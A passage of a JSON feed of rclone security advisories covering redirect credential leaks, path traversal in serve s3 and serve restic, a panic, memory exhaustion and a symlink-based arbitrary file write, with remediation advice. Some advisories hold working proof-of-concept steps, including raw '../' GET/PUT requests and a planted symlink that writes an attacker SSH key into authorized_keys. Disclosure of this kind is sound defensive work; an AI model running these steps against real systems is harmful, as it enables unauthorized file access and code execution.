command.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:33:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-8c48-q9wj-3w37","https://github.com/rclone/rclone/commit/1df2b70753286c1dfe8366078cbedfdf7f96472c","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-8c48-q9wj-3w37"],"source_kind":"github","identifiers":["GHSA-8c48-q9wj-3w37","CVE-2026-71311"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.898Z","epss_percentage":0.00237,"epss_percentile":0.1476,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzQ4LXE5d2otM3czN84ABhgp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04YzQ4LXE5d2otM3czN84ABhgp","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003c 1.75.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzQ4LXE5d2otM3czN84ABhgp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bXh2LTl4aHAtODZoNM4ABhgg","url":"https://github.com/advisories/GHSA-8mxv-9xhp-86h4","title":"rclone: S3 Redirect Sanitization Omits IBM IAM Bearer Tokens and SSE-C Keys","description":"## 1. Summary\n\nThe S3 redirect callback strips `X-Amz-Security-Token` when a redirect changes scheme or host, but it does not strip IBM IAM bearer authorization or customer-provided encryption keys. Two independently validated paths remain:\n\n- a same-host HTTPS-to-HTTP redirect preserves `Authorization: Bearer ...` and exposes a reusable IBM IAM token to the plaintext network path;\n- a cross-origin redirect preserves SSE-C and copy-source SSE-C key headers.\n\nThe High rating is driven by the reusable IBM IAM bearer token. The SSE-C cross-origin disclosure is a secondary confidentiality issue. The meaningful threat is a trusted endpoint, gateway, or accelerator that emits an unsafe redirect, followed by an adjacent/on-path observer; describing the originally configured endpoint itself as the attacker would be weak because that endpoint already receives the request secrets.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- S3 redirect policy: `backend/s3/s3.go:1345-1379`\n- IBM IAM signer: `backend/s3/ibm_signer.go:28-40`\n- SSE-C key preparation: `backend/s3/s3.go:1821-1837`\n- Affected operations: requests carrying IBM IAM authorization, SSE-C keys, or copy-source SSE-C keys\n- Confirmed affected version: `\u003c= v1.74.0-240-ga0c09f138`\n\n## 3. Technical Root Cause Analysis\n\n`s3CheckRedirect` applies a one-header denylist:\n\n```go\nif s3RedirectCrossesHost(req, via) {\n    req.Header.Del(\"X-Amz-Security-Token\")\n}\n```\n\nGo removes `Authorization` on some hostname changes, but preserves it for a same-host redirect and does not treat a scheme downgrade as sufficient reason to remove it. Go also has no generic knowledge that the SSE-C headers contain raw encryption keys. The rclone callback recognizes the STS token but not these additional origin-bound secrets.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\nUsing the actual redirect callback:\n\n1. An HTTPS endpoint redirected to HTTP on the same hostname.\n2. The plaintext destination received the planted IBM bearer token and SSE-C headers.\n3. A separate redirect to an unrelated hostname caused Go to remove `Authorization`, but the destination still received both SSE-C key headers.\n4. In both cases, rclone removed the planted STS token, proving that the S3-specific callback executed while omitting the other secret classes.\n\nThe related [GHSA-gx4c-2hqx-cw2r](https://github.com/rclone/rclone/security/advisories/GHSA-gx4c-2hqx-cw2r) covers the STS downgrade path and confirms that rclone treats scheme changes as a credential boundary. It does not cover the IBM bearer or SSE-C variants retained here.\n\n## 5. Impact Assessment\n\nA captured IBM bearer token can authorize reads, writes, and deletes within its IAM scope. A disclosed SSE-C key can expose corresponding ciphertext available to the recipient; copy-source keys can expose protected source objects. The exact impact is limited by token policy and the attacker's access to encrypted objects.\n\n## 6. Remediation Guidance\n\n- Reject every HTTPS-to-HTTP redirect before replay.\n- Do not automatically follow secret-bearing cross-origin redirects.\n- On any scheme, host, or effective-port change, remove all authorization, cookies, session tokens, SSE-C fields, copy-source SSE-C fields, and provider-specific credentials.\n- Where redirects are required, allowlist exact destinations and reconstruct/re-sign a new request.\n- Add redirect tests for every secret header class and for scheme, hostname, subdomain, and port changes.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:27:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-8mxv-9xhp-86h4","https://github.com/rclone/rclone/commit/7543a7a87884aca957590b20b0714078d51af87b","https://github.com/rclone/rclone/commit/9328763d1b73db71e97c0332b19e3747abeb9191","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-8mxv-9xhp-86h4"],"source_kind":"github","identifiers":["GHSA-8mxv-9xhp-86h4"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.899Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXh2LTl4aHAtODZoNM4ABhgg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bXh2LTl4aHAtODZoNM4ABhgg","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003c= 1.74.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXh2LTl4aHAtODZoNM4ABhgg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04djI1LXY4cDYtcWY3ds4ABhgf","url":"https://github.com/advisories/GHSA-8v25-v8p6-qf7v","title":" rclone: Path traversal in serve s3 allows reading and overwriting root-level files","description":"### Summary\n\nrclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket \"bucket\", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT.\n\n### Details\n\nThe affected component is rclone serve s3.\n\nRelevant source files:\n\ncmd/serve/s3/backend.go\ncmd/serve/s3/multipart.go\ncmd/serve/s3/list.go\n\nIn cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join:\n\nfp := path.Join(bucketName, objectName)\n\nThis pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.\n\nS3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory.\n\nFor example, when rclone serve s3 is serving a root directory that contains:\n\nroot/\n  bucket/\n  root-secret.txt\n\na raw S3 HTTP request to:\n\nGET /bucket/../root-secret.txt\n\nis parsed as a request for bucket \"bucket\" and object \"../root-secret.txt\". The backend then calculates:\n\npath.Join(\"bucket\", \"../root-secret.txt\") == \"root-secret.txt\"\n\nThis causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key.\n\nThe same behavior affects writes. A request such as:\n\nPUT /bucket/../root-secret.txt\n\noverwrites root-secret.txt in the serve root.\n\nThis is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects.\n\n### PoC\n\nPoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing\n\nTest environment:\n\nWindows 11\nrclone v1.74.3 official Windows binary\nrclone serve s3 using a local filesystem root\nNo --auth-key configured, so the server allows anonymous access as documented\n\n1. Prepare a test serve root:\n\n$base = \"$env:TEMP\\rclone-serve-s3-poc\"\n$root = \"$base\\root\"\n\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force -Path \"$root\\bucket\" | Out-Null\nSet-Content -Encoding ASCII -Path \"$root\\root-secret.txt\" -Value \"ROOT_LEVEL_SECRET_MARKER\"\n\n2. Start rclone serve s3:\n\n$rclone = \"C:\\Users\\fff20\\AppData\\Local\\Temp\\rclone-current-bin\\rclone-v1.74.3-windows-amd64\\rclone.exe\"\n\n\u0026 $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file \"$base\\serve-s3.log\"\n\n3. In another terminal, send a raw HTTP GET request containing a dot-dot object key:\n\n$port = 19087\n$req = \"GET /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: 0`r`nConnection: close`r`n`r`n\"\n\n$client = [System.Net.Sockets.TcpClient]::new(\"127.0.0.1\", $port)\n$stream = $client.GetStream()\n$bytes = [Text.Encoding]::ASCII.GetBytes($req)\n$stream.Write($bytes, 0, $bytes.Length)\n$buf = New-Object byte[] 8192\n$read = $stream.Read($buf, 0, $buf.Length)\n[Text.Encoding]::ASCII.GetString($buf, 0, $read)\n$client.Close()\n\n4. Observe that the response contains the root-level file content:\n\nHTTP/1.1 200 OK\n\nROOT_LEVEL_SECRET_MARKER\n\n5. Send a raw HTTP PUT request to overwrite the same root-level file:\n\n$body = \"OVERWRITTEN_BY_DOTDOT\"\n$req = \"PUT /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: $($body.Length)`r`nConnection: close`r`n`r`n$body\"\n\n$client = [System.Net.Sockets.TcpClient]::new(\"127.0.0.1\", $port)\n$stream = $client.GetStream()\n$bytes = [Text.Encoding]::ASCII.GetBytes($req)\n$stream.Write($bytes, 0, $bytes.Length)\n$buf = New-Object byte[] 8192\n$read = $stream.Read($buf, 0, $buf.Length)\n[Text.Encoding]::ASCII.GetString($buf, 0, $read)\n$client.Close()\n\n6. Confirm that the root-level file was overwritten:\n\nGet-Content \"$root\\root-secret.txt\"\n\nObserved result:\n\nOVERWRITTEN_BY_DOTDOT\n\n7. The rclone debug log shows the unsafe normalization:\n\nserve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt\nroot-secret.txt: Open: flags=O_RDONLY\n\nserve s3: CREATE OBJECT: bucket ../root-secret.txt\nroot-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC\n\nExpected result:\n\nrclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path.\n\nActual result:\n\nrclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root.\n\n### Impact\n\nThis is a path traversal / improper path normalization vulnerability in rclone serve s3.\n\nAn attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root.\n\nIn deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket.\n\nThe issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server.\n\nSuggested fix:\n\nDo not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name.\n\nBefore accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution.\n\nAffected version tested:\n\nrclone v1.74.3 official Windows binary","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:27:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-8v25-v8p6-qf7v","https://github.com/rclone/rclone/commit/83d1e62aa9e0dbd10a5d7eb34c117ae997268cdf","https://github.com/rclone/rclone/commit/c89b766cf417fddbe7eace40d31262ecb85bfa93","https://github.com/rclone/rclone/releases/tag/v1.74.4","https://github.com/advisories/GHSA-8v25-v8p6-qf7v"],"source_kind":"github","identifiers":["GHSA-8v25-v8p6-qf7v"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.899Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djI1LXY4cDYtcWY3ds4ABhgf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04djI1LXY4cDYtcWY3ds4ABhgf","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.74.4","vulnerable_version_range":"\u003c= 1.74.3"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djI1LXY4cDYtcWY3ds4ABhgf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zeDZyLXd4eGctNTN2ds4ABhge","url":"https://github.com/advisories/GHSA-3x6r-wxxg-53vv","title":"rclone: Infinite Scale TUS Creation Transport Error Causes a Nil-Response Panic","description":"## 1. Summary\n\nA transport failure during the initial Infinite Scale TUS creation POST can return `(nil response, non-nil error)`. Rclone dereferences the nil response before processing the error and panics. The production `CreateUploader` path reproduced the crash against a closed endpoint.\n\nThe security case is deployment-dependent. A one-shot upload already fails when its endpoint resets, while RC jobs recover panics in `fs/rc/jobs/job.go` and return a job error. The incremental denial of service is strongest in a long-lived VFS mount or concurrent/multi-remote CLI process where the upload runs in an unrecovered goroutine and the panic terminates unrelated work.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Verified rclone revision: `a0c09f1381ae93e2a9a33c529d170186c61ad058` (`v1.74.0-240-ga0c09f138`)\n- Current-master check: `backend/webdav/tus.go` was unchanged at master commit `961266888fe797390c535386f3b3aa46f4853602` on 2026-07-18\n- Response evaluation: `backend/webdav/tus.go:45-59`\n- Creation path: `backend/webdav/tus.go:61-107`\n- Unrecovered VFS caller: `vfs/write.go:71-81`\n- Contained RC caller: `fs/rc/jobs/job.go:107-115`\n- Configuration: Infinite Scale WebDAV uploads using TUS\n- Code triggers: any pre-response transport failure, including refusal, reset, timeout, DNS/TLS/proxy failure, or cancellation\n- Security trigger: a malicious/compromised configured endpoint resets an upload in a long-lived or multi-workload process\n\n## 3. Technical Root Cause Analysis\n\n`getTusLocationOrRetry` switches on `resp.StatusCode` before checking whether `resp` is nil or handling the accompanying error. A nil response is valid when the HTTP transaction fails before a response is parsed. There is no recovery boundary in the WebDAV operation itself. Whether the panic is process-fatal depends on its caller: the VFS write path starts `operations.Rcat` in an unrecovered goroutine (`vfs/write.go:71-81`), whereas RC jobs wrap their function in `recover` (`fs/rc/jobs/job.go:107-115`).\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n1. Configure the actual Infinite Scale creation path to a closed local endpoint.\n2. Invoke `Object.CreateUploader`.\n3. The POST returns a transport error and no response.\n4. `getTusLocationOrRetry` dereferences `resp.StatusCode` and panics.\n\nA remote endpoint can produce the same `(nil response, non-nil error)` state by accepting and resetting the connection before returning an HTTP response. TLS prevents arbitrary response modification but does not prevent the configured endpoint from closing or resetting its own connection. Refusal, DNS, TLS, proxy, and cancellation failures exercise the code defect but do not by themselves identify a remote security actor.\n\n## 5. Impact Assessment\n\nIn an unrecovered CLI or VFS upload goroutine, the panic terminates the rclone process and any unrelated work it hosts. A hostile configured endpoint can repeat the condition whenever the victim initiates a TUS upload. RC jobs are excluded from the process-wide impact because their execution boundary recovers the panic and records an error. In a one-shot process dedicated to the hostile endpoint, the incremental security impact over an ordinary transport error is limited.\n\n## 6. Remediation Guidance\n\n- Check `resp == nil` before accessing response fields.\n- Pass transport errors through the existing retry policy and return a normal error after exhaustion.\n- Test refusal, reset, timeout, DNS, TLS, proxy, and cancellation paths.\n- Add panic containment to long-lived worker goroutines as defense in depth; keep nil handling as the primary fix.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:26:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-3x6r-wxxg-53vv","https://github.com/rclone/rclone/commit/5871d98c368751a6d992ed64f8cd22cb78c44cee","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-3x6r-wxxg-53vv"],"source_kind":"github","identifiers":["GHSA-3x6r-wxxg-53vv"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.899Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeDZyLXd4eGctNTN2ds4ABhge","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zeDZyLXd4eGctNTN2ds4ABhge","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003c= 1.74.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeDZyLXd4eGctNTN2ds4ABhge/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aGY0LTgzMnYtN3hjcs4ABhgd","url":"https://github.com/advisories/GHSA-xhf4-832v-7xcr","title":"rclone: Unbounded HTTP CONNECT Response Headers Can Exhaust rclone Memory","description":"## 1. Summary\n\nThe shared HTTP CONNECT helper parses a proxy response with `http.ReadResponse` over an unrestricted buffered reader. The production helper accepted a valid response containing a 2 MiB header in three consecutive runs. A malicious or compromised configured proxy, or an active on-path actor controlling a plaintext HTTP-proxy hop, can grow memory until the process fails.\n\nThe security impact is process-wide exhaustion, not loss of access through the malicious proxy, which the proxy already controls. The victim must configure and use the proxy, so UI is Required and the rating is Medium.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Verified rclone revision: `a0c09f1381ae93e2a9a33c529d170186c61ad058` (`v1.74.0-240-ga0c09f138`)\n- Current-master check: `lib/proxy/http.go` was unchanged at master commit `961266888fe797390c535386f3b3aa46f4853602` on 2026-07-18\n- Shared helper: `lib/proxy/http.go:23-81`\n- SFTP use: `backend/sftp/ssh_internal.go:25-45`\n- FTP use: `backend/ftp/ftp.go:465-479`\n- Proxy peer: configured malicious/compromised proxy or active on-path actor for a plaintext HTTP proxy\n- TLS boundary: HTTPS proxy connections authenticate the proxy before this response is parsed, so an on-path actor must also defeat TLS\n\n## 3. Technical Root Cause Analysis\n\n`HTTPConnectDial` invokes `http.ReadResponse(br, req)` directly. This call does not inherit `http.Transport.MaxResponseHeaderBytes`. In the Go implementation used for validation, exported `textproto.Reader.ReadMIMEHeader` passes `math.MaxInt64` limits, and `textproto.NewReader` explicitly instructs callers to use `io.LimitReader` or an equivalent bound for denial-of-service resistance. Rclone supplies no bound or total CONNECT-handshake deadline. The helper additionally returns the raw connection, so a safe remediation must preserve any tunnel bytes already buffered after the CONNECT response.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n1. Configure the helper to use a test proxy.\n2. Accept rclone's CONNECT request.\n3. Return `HTTP/1.1 200 Connection Established` with an `X-Fill` header containing 2 MiB of data.\n4. The actual helper parses and accepts the entire response without a fixed ceiling; this succeeded in all three reruns.\n\nThe test establishes unbounded parsing behavior without intentionally exhausting the host.\n\n## 5. Impact Assessment\n\nLarge or concurrent CONNECT responses can terminate the rclone process and interrupt unrelated FTP/SFTP remotes and mounts. Runtime OOM cannot be contained by RC panic recovery. SFTP reaches this parser before SSH server authentication, so target host-key validation does not constrain a malicious proxy; HTTPS proxy authentication does constrain ordinary on-path attackers.\n\n## 6. Remediation Guidance\n\n- Enforce a total CONNECT status/header budget before parsing.\n- Add a fixed total handshake deadline as well as idle deadlines.\n- Close the connection on an oversized or malformed response.\n- Return a wrapper that consumes already buffered post-response tunnel bytes before the raw connection.\n- Test large single/multiple headers, slow streaming, and concurrent handshakes.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-05T20:17:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-xhf4-832v-7xcr","https://github.com/rclone/rclone/commit/21d8cd3b92cd81d987f485051d454ea675d91a2b","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://nvd.nist.gov/vuln/detail/CVE-2026-71310","https://pkg.go.dev/vuln/GO-2026-6199","https://github.com/advisories/GHSA-xhf4-832v-7xcr"],"source_kind":"github","identifiers":["GHSA-xhf4-832v-7xcr","CVE-2026-71310"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-12T21:00:44.485Z","epss_percentage":0.00456,"epss_percentile":0.38279,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGY0LTgzMnYtN3hjcs4ABhgd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aGY0LTgzMnYtN3hjcs4ABhgd","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003c= 1.74.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGY0LTgzMnYtN3hjcs4ABhgd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZjQ0LTlwZ3YtbTR4Y84ABhgc","url":"https://github.com/advisories/GHSA-cf44-9pgv-m4xc","title":"rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote","description":"### Summary\nWith `-l/--links`, rclone serializes symlinks as `\u003cname\u003e.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(\u003cobject body\u003e, \u003cdest path\u003e)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `\u003cname\u003e.rclonelink` sorts before `\u003cname\u003e/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution.\n\n### Details\n`backend/local/local.go`, `Object.Update()`:\n```go\n} else {\n    out = nopWriterCloser{\u0026symlinkData}          // body of \u003cname\u003e.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n    if err == nil {\n        if _, err := os.Lstat(o.path); err == nil {\n            os.Remove(o.path)\n        }\n        // Use the contents for the copied object to create a symlink\n        err = os.Symlink(symlinkData.String(), o.path)   // \u003c-- target NEVER validated (abs / .. allowed)\n    }\n}\n```\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -\u003e v1.74.3\n```\n2) Create an attacker-controlled \"remote\" (two objects) and a victim layout:\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf '%s' \"$PWD/victimhome/.ssh\" \u003e evil/pwn.rclonelink              # body = abs path OUTSIDE dest\nprintf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n' \u003e evil/pwn/authorized_keys\nls -l victimhome/.ssh                                                 # empty (before)\n```\n3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):\n```\ncd evil \u0026\u0026 python3 -m http.server 38080 --bind 127.0.0.1\n```\n4) VICTIM ACTION — back up the untrusted remote preserving symlinks:\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n5) Observe — a file landed OUTSIDE `./dest`:\n```\nls -l dest/pwn                       # dest/pwn -\u003e .../victimhome/.ssh   (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   \u003c-- written outside dest\n```\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution.\n\n### Impact\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-05T20:15:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L","references":["https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc","https://nvd.nist.gov/vuln/detail/CVE-2026-54572","https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498","https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265","https://github.com/rclone/rclone/releases/tag/v1.74.4","https://github.com/advisories/GHSA-cf44-9pgv-m4xc"],"source_kind":"github","identifiers":["GHSA-cf44-9pgv-m4xc","CVE-2026-54572"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.900Z","epss_percentage":0.00365,"epss_percentile":0.2958,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZjQ0LTlwZ3YtbTR4Y84ABhgc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZjQ0LTlwZ3YtbTR4Y84ABhgc","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.74.4","vulnerable_version_range":"\u003c= 1.74.3"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZjQ0LTlwZ3YtbTR4Y84ABhgc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NXBxLTg4OWctZmNnaM4ABhgb","url":"https://github.com/advisories/GHSA-45pq-889g-fcgh","title":"rclone: Incomplete path validation allows backend root escape in serve restic","description":"## Summary\n\n`rclone serve restic` does not correctly reject URL paths beginning with `../`. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator.\n\nThe issue affects `rclone v1.40` through `rclone v1.74.4`. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for `v1.74.4`, and the latest `master` commit reviewed at the time (`2217d38`) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process.\n\n## Affected versions\n\nAll releases from `v1.40` through `v1.74.4` are affected.\n\n## Affected components and backend propagation\n\nThe primary vulnerable component is the backend-independent `WithRemote` middleware in `cmd/serve/restic/restic.go`, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV.\n\nThe backend determines whether the accepted `../` path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing:\n\n| Layer or backend | File and function | Relevant lines | Path propagation | Dynamic evidence |\n|---|---|---:|---|---|\n| REST server, primary cause | `cmd/serve/restic/restic.go`, `WithRemote` | 235-264 | Accepts a leading `../` remote and shares it with GET, HEAD, POST, and DELETE handlers | Confirmed through WebDAV |\n| WebDAV | `backend/webdav/webdav.go`, `(*Fs).filePath` | 421-427 | `path.Join(f.root, file)` removes the configured root when resolving `../` | read, write, delete |\n| FTP | `backend/ftp/ftp.go`, `(*Fs).NewObject`, `(*Object).Open`, `Update`, and `Remove` | 844-848, 1308-1311, 1349-1356, 1411-1415 | Each operation joins the backend root and remote with `path.Join` before the FTP request | read, write, delete |\n| HTTP | `backend/http/http.go`, `(*Fs).url` | 386-395 | Appends the escaped remote containing `../` to the configured endpoint URL | read |\n| Memory | `backend/memory/memory.go`, `(*Fs).split` | 227-231 | Joins `f.root` and the relative path before splitting the in-memory bucket and key | read, write, delete |\n| 